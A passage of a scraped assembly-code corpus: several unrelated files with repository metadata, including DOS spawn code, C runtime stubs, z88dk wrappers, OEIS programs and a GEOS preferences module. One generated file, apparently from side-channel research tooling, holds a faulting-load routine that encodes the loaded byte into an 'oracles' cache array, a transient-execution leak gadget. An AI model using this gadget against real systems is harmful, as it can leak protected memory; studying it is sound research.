sub bx, ax ;bx = # paras from psp to data seg
mov ax, offset DG:End_Exec
add ax, EXEC_STACK_SIZE + 15
mov cl, 4
shr ax, cl ;ax = siz data seg to keep in paras
add bx, ax ;bx = # paras to keep
mov cx, offset DG:End_Exec
add cx, EXEC_STACK_SIZE + 1
and cl, not 1 ;cx = word offset of temp exec stack
jmp ShrinkExecExit ;go shrink, exec child, and exit
SpawnAndExit endp
pathlabl spawn
data ENDS
END
| 24.441341
| 75
| 0.630857
|
d364797d7ff4716ec79bc08aa8b390de65c4fa90
| 213
|
asm
|
Assembly
|
api/crtn.asm
|
pgrAm/JSD-OS
|
abe4e3b5307a83b3b8b31e71c60171e21d4b7690
|
[
"BSD-3-Clause"
] | 10
|
2020-01-14T05:38:35.000Z
|
2022-03-17T03:17:07.000Z
|
api/crtn.asm
|
pgrAm/JSD-OS
|
abe4e3b5307a83b3b8b31e71c60171e21d4b7690
|
[
"BSD-3-Clause"
] | 1
|
2020-05-02T18:22:26.000Z
|
2020-05-02T18:26:18.000Z
|
api/crtn.asm
|
pgrAm/JSD-OS
|
abe4e3b5307a83b3b8b31e71c60171e21d4b7690
|
[
"BSD-3-Clause"
] | 1
|
2021-07-09T17:06:38.000Z
|
2021-07-09T17:06:38.000Z
|
; x86 crtn.s
section .init
; clang will nicely put the contents of crtend.o's .init section here.
pop ebp
ret
section .fini
; clang will nicely put the contents of crtend.o's .fini section here.
pop ebp
ret
| 21.3
| 71
| 0.732394
|
471aeaa344d7d30129a77f30c57942764bf48d16
| 6,681
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_13_66.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_13_66.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_13_66.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x1ef3b, %r15
and $6265, %r14
movw $0x6162, (%r15)
nop
nop
nop
nop
nop
xor $35076, %rbx
lea addresses_UC_ht+0x4bbb, %rbx
nop
nop
nop
nop
and %rdx, %rdx
mov $0x6162636465666768, %rcx
movq %rcx, (%rbx)
nop
nop
and $40512, %rdi
lea addresses_normal_ht+0x15bbb, %rsi
lea addresses_WT_ht+0xe31b, %rdi
nop
nop
cmp %rax, %rax
mov $93, %rcx
rep movsl
nop
nop
nop
add $53979, %rbx
lea addresses_WC_ht+0x130df, %rsi
lea addresses_WC_ht+0x148a3, %rdi
nop
nop
add %r15, %r15
mov $8, %rcx
rep movsb
nop
nop
sub $877, %r15
lea addresses_normal_ht+0x7abb, %rsi
lea addresses_normal_ht+0xffbb, %rdi
nop
and $3291, %r14
mov $78, %rcx
rep movsl
nop
nop
nop
add $56053, %r15
lea addresses_UC_ht+0x13, %rsi
lea addresses_UC_ht+0xbbbb, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
cmp $63530, %rbx
mov $71, %rcx
rep movsl
nop
nop
nop
add $1144, %rax
lea addresses_WC_ht+0x10ebb, %rsi
lea addresses_A_ht+0x4fbb, %rdi
nop
sub $19299, %r14
mov $0, %rcx
rep movsl
nop
sub %rsi, %rsi
lea addresses_WT_ht+0xd5b, %rcx
nop
nop
nop
and $20881, %rsi
mov (%rcx), %r15
and $18385, %rbx
lea addresses_WC_ht+0x5bbb, %rsi
lea addresses_normal_ht+0x13983, %rdi
nop
nop
nop
add $24721, %rdx
mov $14, %rcx
rep movsw
nop
nop
nop
cmp $48622, %r15
lea addresses_WT_ht+0x16f3b, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
and $51821, %rax
mov (%rcx), %edx
nop
nop
add $32473, %rax
lea addresses_UC_ht+0x1babb, %rdi
nop
nop
nop
nop
nop
and %rdx, %rdx
mov (%rdi), %rsi
nop
nop
nop
cmp $21841, %r15
lea addresses_A_ht+0x11abb, %rdi
nop
nop
nop
nop
inc %r15
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
movups %xmm5, (%rdi)
nop
nop
nop
nop
add $1842, %r14
lea addresses_D_ht+0x32cb, %rax
inc %r15
mov $0x6162636465666768, %rbx
movq %rbx, %xmm7
vmovups %ymm7, (%rax)
nop
nop
nop
nop
and %rdx, %rdx
lea addresses_WC_ht+0x47db, %r15
nop
nop
nop
nop
nop
and $57474, %rax
vmovups (%r15), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rdx
nop
nop
nop
dec %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r9
push %rax
push %rsi
// Load
lea addresses_PSE+0x55fb, %r9
nop
cmp %r13, %r13
mov (%r9), %esi
nop
nop
sub %rsi, %rsi
// Store
lea addresses_D+0x1e25a, %r10
clflush (%r10)
nop
nop
nop
nop
nop
sub %r11, %r11
mov $0x5152535455565758, %r9
movq %r9, %xmm4
movups %xmm4, (%r10)
nop
add %r13, %r13
// Load
lea addresses_RW+0x3c4b, %rax
nop
nop
nop
nop
nop
sub $17512, %r9
mov (%rax), %si
nop
nop
nop
nop
nop
cmp %r11, %r11
// Store
lea addresses_normal+0x7c3, %r14
nop
add $35313, %r9
movw $0x5152, (%r14)
nop
nop
dec %r14
// Store
lea addresses_RW+0x14bbb, %r10
clflush (%r10)
nop
nop
dec %rax
movb $0x51, (%r10)
dec %r11
// Store
mov $0x719241000000093b, %r10
nop
nop
nop
add %r11, %r11
mov $0x5152535455565758, %rsi
movq %rsi, %xmm1
vmovups %ymm1, (%r10)
nop
nop
nop
xor %r13, %r13
// Load
lea addresses_WT+0x3675, %r9
nop
cmp %r13, %r13
mov (%r9), %si
nop
xor %r11, %r11
// Load
lea addresses_US+0x119bb, %rax
nop
nop
nop
cmp $18978, %rsi
mov (%rax), %r14d
sub $52321, %rsi
// Faulty Load
lea addresses_RW+0x14bbb, %rsi
nop
xor %r13, %r13
movb (%rsi), %r9b
lea oracles, %r10
and $0xff, %r9
shlq $12, %r9
mov (%r10,%r9,1), %r9
pop %rsi
pop %rax
pop %r9
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_D'}}
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_RW'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_NC'}}
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'51': 13}
51 51 51 51 51 51 51 51 51 51 51 51 51
*/
| 20.556923
| 156
| 0.647209
|
f7ed0400e6daa613acda2ce29b26cc0b96b327b6
| 236
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/stdlib/c/sccz80/_strtou__callee.asm
|
teknoplop/z88dk
|
bb03fbfd6b2ab0f397a1358559089f9cd3706485
|
[
"ClArtistic"
] | 8
|
2017-01-18T12:02:17.000Z
|
2021-06-12T09:40:28.000Z
|
libsrc/_DEVELOPMENT/stdlib/c/sccz80/_strtou__callee.asm
|
teknoplop/z88dk
|
bb03fbfd6b2ab0f397a1358559089f9cd3706485
|
[
"ClArtistic"
] | 1
|
2017-03-06T07:41:56.000Z
|
2017-03-06T07:41:56.000Z
|
libsrc/_DEVELOPMENT/stdlib/c/sccz80/_strtou__callee.asm
|
teknoplop/z88dk
|
bb03fbfd6b2ab0f397a1358559089f9cd3706485
|
[
"ClArtistic"
] | 3
|
2017-03-07T03:19:40.000Z
|
2021-09-15T17:59:19.000Z
|
; unsigned int _strtou_(const char *nptr, char **endptr, int base)
SECTION code_clib
SECTION code_stdlib
PUBLIC _strtou__callee
EXTERN asm__strtou
_strtou__callee:
pop hl
pop bc
pop de
ex (sp),hl
jp asm__strtou
| 12.421053
| 66
| 0.720339
|
088935864a65641fed9c9e29fc586851e3149036
| 201
|
asm
|
Assembly
|
Scratch/print_hex.asm
|
SwordYork/slef
|
21c54ad083b1cc178b5936cf2b4c97182a153ed3
|
[
"Apache-2.0"
] | 8
|
2015-11-09T16:55:42.000Z
|
2021-08-23T04:11:23.000Z
|
Scratch/print_hex.asm
|
ly2199/slef
|
21c54ad083b1cc178b5936cf2b4c97182a153ed3
|
[
"Apache-2.0"
] | null | null | null |
Scratch/print_hex.asm
|
ly2199/slef
|
21c54ad083b1cc178b5936cf2b4c97182a153ed3
|
[
"Apache-2.0"
] | 5
|
2016-03-19T01:25:37.000Z
|
2020-11-29T04:42:28.000Z
|
print_hex:
pusha
cmp dx,0xface
jne _return
mov bx, HEX_OUT
call print_string
popa
ret
_return:
mov bx,HEX_OUT2
call print_string
popa
ret
HEX_OUT: db '0xface',0
HEX_OUT2: db '0xdada',0
| 11.166667
| 24
| 0.726368
|
f296bcf25a19fa46e6340cbc3507e147c3a02428
| 426
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/arch/zx/graphics/c/sdcc_ix/zx_pattern_fill_callee.asm
|
teknoplop/z88dk
|
bb03fbfd6b2ab0f397a1358559089f9cd3706485
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/arch/zx/graphics/c/sdcc_ix/zx_pattern_fill_callee.asm
|
teknoplop/z88dk
|
bb03fbfd6b2ab0f397a1358559089f9cd3706485
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/arch/zx/graphics/c/sdcc_ix/zx_pattern_fill_callee.asm
|
teknoplop/z88dk
|
bb03fbfd6b2ab0f397a1358559089f9cd3706485
|
[
"ClArtistic"
] | 1
|
2019-12-03T23:57:48.000Z
|
2019-12-03T23:57:48.000Z
|
; int zx_pattern_fill_callee(uint x, uint y, void *pattern, uint depth)
SECTION code_clib
SECTION code_arch
PUBLIC _zx_pattern_fill_callee, l0_zx_pattern_fill_callee
EXTERN asm_zx_pattern_fill
_zx_pattern_fill_callee:
pop af
pop hl
exx
pop bc
exx
pop de
pop bc
push af
l0_zx_pattern_fill_callee:
exx
ld a,c
exx
ld h,a
push ix
call asm_zx_pattern_fill
pop ix
ret
| 12.529412
| 71
| 0.70892
|
49744728bd005c34481722eaea5baaaa31448ec7
| 453
|
asm
|
Assembly
|
programs/oeis/075/A075561.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/075/A075561.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/075/A075561.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A075561: Domination number for kings' graph K(n).
; 1,1,1,4,4,4,9,9,9,16,16,16,25,25,25,36,36,36,49,49,49,64,64,64,81,81,81,100,100,100,121,121,121,144,144,144,169,169,169,196,196,196,225,225,225,256,256,256,289,289,289,324,324,324,361,361,361,400,400,400,441,441,441,484,484,484,529,529,529,576,576,576,625,625,625,676,676,676,729,729,729,784,784,784,841,841,841,900,900,900,961,961,961,1024,1024,1024,1089,1089,1089,1156
add $0,3
div $0,3
pow $0,2
| 64.714286
| 372
| 0.715232
|
5bea89f52264df6bd85b28c5059ee0763adf09e6
| 7,256
|
asm
|
Assembly
|
Library/Pref/Preflf/preflfSameBooleanGroup.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Library/Pref/Preflf/preflfSameBooleanGroup.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Library/Pref/Preflf/preflfSameBooleanGroup.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1994 -- All Rights Reserved
PROJECT: GEOS Preferences
MODULE: PrefLF
FILE: preflfSameBooleanGroup.asm
AUTHOR: Jim Guggemos, May 19, 1994
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 5/19/94 Initial revision
DESCRIPTION:
Contains methods/reoutines for PrefLFSameBooleanGroupClass.
$Id: preflfSameBooleanGroup.asm,v 1.1 97/04/05 01:29:33 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefLFSameBooleanGroupVisOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets the state of the object.
CALLED BY: MSG_VIS_OPEN
PASS: *ds:si = PrefLFSameBooleanGroupClass object
ds:di = PrefLFSameBooleanGroupClass instance data
ds:bx = PrefLFSameBooleanGroupClass object (same as *ds:si)
es = segment of PrefLFSameBooleanGroupClass
ax = message #
bp = 0 if top window, else window for object to open on
RETURN: None
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 5/19/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefLFSameBooleanGroupVisOpen method dynamic PrefLFSameBooleanGroupClass,
MSG_VIS_OPEN
push bp ; save for call super
call PrefLFSetSameObject
; Call superclass
mov di, offset PrefLFSameBooleanGroupClass
pop bp ; restore initial arg
mov ax, MSG_VIS_OPEN
GOTO ObjCallSuperNoLock
PrefLFSameBooleanGroupVisOpen endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefLFSameBooleanGroupReset
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Resets group based upon font item groups state
CALLED BY: MSG_GEN_RESET
PASS: *ds:si = PrefLFSameBooleanGroupClass object
ds:di = PrefLFSameBooleanGroupClass instance data
ds:bx = PrefLFSameBooleanGroupClass object (same as *ds:si)
es = segment of PrefLFSameBooleanGroupClass
ax = message #
RETURN: Nothing
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 5/20/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefLFSameBooleanGroupReset method dynamic PrefLFSameBooleanGroupClass,
MSG_GEN_RESET
.enter
mov di, offset PrefLFSameBooleanGroupClass
call ObjCallSuperNoLock
; update value based on font items
call PrefLFSetSameObject
.leave
ret
PrefLFSameBooleanGroupReset endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefLFSetSameObject
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets the "Same as system font" object based upon the setting
of the font item groups.
CALLED BY: PrefLFSameBooleanGroupVisOpen, PrefLFSameBooleanGroupReset
PASS: *ds:si = PrefLFSameBooleanGroupClass object
RETURN: nothing
DESTROYED: ax, bx, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 5/20/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefLFSetSameObject proc near
.enter
; Decide whether to clear or set the bit
call PrefLFGetFontSizeValues ; Destroys: cx,dx,bp
clr dx ; Default to FALSE
cmp ax, bx
jne setBit
dec dx ; Whoops - it's TRUE
setBit:
; otherwise, set the selected booleans for this boolean group
mov cx, mask PLFSBS_SAME_AS_SYSTEM_TEXT_SIZE
; *ds:si points to self
mov ax, MSG_GEN_BOOLEAN_GROUP_SET_BOOLEAN_STATE
call ObjCallInstanceNoLock ; Destroys: ax, cx, dx, bp
.leave
ret
PrefLFSetSameObject endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefLFSameBooleanGroupUpdate
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Updates the editable text font item group based upon value.
CALLED BY: MSG_PREFLF_SAME_BOOLEAN_GROUP_UPDATE
PASS: *ds:si = PrefLFSameBooleanGroupClass object
ds:di = PrefLFSameBooleanGroupClass instance data
ds:bx = PrefLFSameBooleanGroupClass object (same as *ds:si)
es = segment of PrefLFSameBooleanGroupClass
ax = message #
cx = value of selected booleans (PrefLFSameBooleanState)
RETURN: None
DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 5/19/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefLFSameBooleanGroupUpdate method dynamic PrefLFSameBooleanGroupClass,
MSG_PREFLF_SAME_BOOLEAN_GROUP_UPDATE
.enter
test cx, mask PLFSBS_SAME_AS_SYSTEM_TEXT_SIZE
jz done
; set to be the same.. make sure that they are the same
call PrefLFGetFontSizeValues ; ax = edit text size
; bx = sys text size
cmp ax, bx
je done ; already the same, we're done
; okay.. set the editable font size to be the same as the
; system text size
; *ds:si points to editable font size item group
mov si, offset PrefLFEditableFontItemGroup
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov cx, bx ; set to system text font
clr dx
call ObjCallInstanceNoLock ; Destroys: ax, cx, dx, bp
; force update of text for the editable font
mov ax, MSG_PREF_FONT_ITEM_GROUP_UPDATE_TEXT
mov cx, bx ; requires point size
call ObjCallInstanceNoLock ; Destroys: ax, cx, dx, bp
done:
.leave
ret
PrefLFSameBooleanGroupUpdate endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefLFGetFontSizeValues
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Gets the system and editable text font sizes
CALLED BY: PrefLFSameBooleanGroupUpdate, PrefLFSetSameObject
PASS: ds = segment containing the item groups
RETURN: ax = editable text point size
bx = system text point size
DESTROYED: cx, dx, bp
SIDE EFFECTS:
May invalidate ptrs to instance data.
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
JimG 5/19/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefLFGetFontSizeValues proc near
uses si
.enter
; *ds:si points to system font size item group
mov si, offset PrefLFFontItemGroup
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
call ObjCallInstanceNoLock ; Destroys: cx, dx, bp
mov bx, ax ; store result
; *ds:si points to editable font size item group
mov si, offset PrefLFEditableFontItemGroup
mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION
call ObjCallInstanceNoLock ; Destroys: cx, dx, bp
.leave
ret
PrefLFGetFontSizeValues endp
| 27.484848
| 79
| 0.591097
|
8ee09fcd61f39cbeac49681ed2206688b21d41d4
| 599
|
asm
|
Assembly
|
src/boot/boot_sector_32bit_mode.asm
|
Sage-of-Mirrors/gOS
|
6b57ba0a9d905d28996996b7f22012a2dd8bcaad
|
[
"MIT"
] | 1
|
2019-10-31T17:43:25.000Z
|
2019-10-31T17:43:25.000Z
|
src/boot/boot_sector_32bit_mode.asm
|
Sage-of-Mirrors/gOS
|
6b57ba0a9d905d28996996b7f22012a2dd8bcaad
|
[
"MIT"
] | null | null | null |
src/boot/boot_sector_32bit_mode.asm
|
Sage-of-Mirrors/gOS
|
6b57ba0a9d905d28996996b7f22012a2dd8bcaad
|
[
"MIT"
] | null | null | null |
; Simple boot sector that prints "Hello!" to the screen.
[org 0x7C00]
mov bp, 0x9000 ; Put the stack above us in memory, at address 0x9000.
mov sp, bp
mov bx, REAL_MODE_MSG
call print_string
call print_newline
call switch_to_pm
jmp $
%include "print_util.asm"
%include "gdt.asm"
%include "print_util_pm.asm"
%include "switch_to_pm.asm"
[bits 32]
BEGIN_PM:
mov ebx, PROT_MODE_MSG
call print_string_pm
jmp $
REAL_MODE_MSG: db "Booted into 16-bit mode...", 0
PROT_MODE_MSG: db "Successfully switched to 32-bit protected mode!", 0
; Padding/magic
times 510-($-$$) db 0
dw 0xaa55
| 18.151515
| 70
| 0.72621
|
67588eac4b987ba97ed0fcfbb28f42496d9b475f
| 591
|
asm
|
Assembly
|
programs/oeis/213/A213163.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/213/A213163.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/213/A213163.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A213163: Sequence of coefficients of x in marked mesh pattern generating function Q_{n,132}^(3,0,-,0)(x).
; 1,7,32,122,422,1376,4315,13165,39360,115860,336876,969792,2768917,7851187,22130912,62066126,173294930,481976480,1335880495,3691245145,10171349376,27957706152,76672984152,209839988352,573211991977,1563112278751,4255708706720,11569449137570,31409360732030,85163363840480,230638201109251,623918919664837,1686064128098112,4551942495090492
lpb $0
mov $1,$0
cal $1,1871 ; Expansion of 1/(1 - 3*x + x^2)^2.
sub $0,1
add $2,$1
mov $1,$2
lpe
add $0,3
mul $1,$0
div $1,3
add $1,1
| 39.4
| 336
| 0.766497
|
ed9e47fe50729ef00b4f057a1fb536b1d926ed6a
| 341
|
asm
|
Assembly
|
programs/oeis/063/A063208.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/063/A063208.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/063/A063208.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A063208: Dimension of the space of weight 2n cuspidal newforms for Gamma_0( 36 ).
; 1,1,2,3,4,4,6,6,7,8,9,9,11,11,12,13,14,14,16,16,17,18,19,19,21,21,22,23,24,24,26,26,27,28,29,29,31,31,32,33,34,34,36,36,37,38,39,39,41,41,42,43,44,44,46,46,47,48,49,49,51,51,52,53,54,54,56,56,57,58,59,59,61
mov $1,$0
div $0,3
div $1,2
add $1,$0
add $1,1
| 37.888889
| 208
| 0.653959
|
cf831bb2b796001195404257d59340a54f0f2bac
| 499
|
asm
|
Assembly
|
oeis/314/A314244.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/314/A314244.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/314/A314244.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A314244: Coordination sequence Gal.6.644.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Jamie Morken(s1)
; 1,5,11,17,23,29,33,39,45,51,57,62,67,73,79,85,91,95,101,107,113,119,124,129,135,141,147,153,157,163,169,175,181,186,191,197,203,209,215,219,225,231,237,243,248,253,259,265,271,277
mul $0,4
mov $3,$0
mul $0,5
sub $0,1
div $0,11
add $0,1
mov $2,$3
mul $2,21
div $2,22
add $2,$0
mov $0,$2
| 31.1875
| 181
| 0.705411
|
94732a27a477d523455dae5a0f7c057d8bdebc1d
| 399
|
asm
|
